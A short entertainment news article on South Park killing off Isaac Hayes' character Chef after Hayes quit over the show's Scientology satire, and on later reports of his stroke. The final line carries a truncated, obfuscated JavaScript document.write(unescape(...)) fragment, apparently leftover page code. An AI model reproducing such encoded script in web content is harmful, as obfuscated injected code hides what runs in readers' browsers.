Isaac Hayes' character Chef in South Park dies

South Park creators Trey Parker and Matt Stone have killed off soul singer Isaac Hayes' character Chef in the cartoon series.

As previously reported, Hayes - who has provided the voice for character Chef since the show's inception - had become upset at recent shows that have attacked spirituality.

"There is a place in this world for satire, but there is a time when satire ends and intolerance and bigotry towards religious beliefs of others begins," he said in a statement after he announced he had been asked to be let out of his contract.

A recent episode of the programme 'Trapped In The Closet' sent up Tom Cruise and Scientology, which is also Hayes' religion, although he did not specifically mention that show in his statement.

However after the show's creators criticised the star's decision to quit, they have given his character a unusual send-off.

The tenth season of the show kicked off on March 22 in America with Chef being struck by lightning, impaled on a branch, shot, mauled by a mountain lion, had his legs ripped eaten by a bear, his face bitten off, and his corpse told it would "have made a good child molester".

However, reports now claim that Hayes had suffered a stroke on January 17 and is "in no condition to quit anything". There are rumours that someone had quit the show for the singer, reports E!Online.

At the time, Hayes' publicist said that the star had been hospitalised for "exhaustion".document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;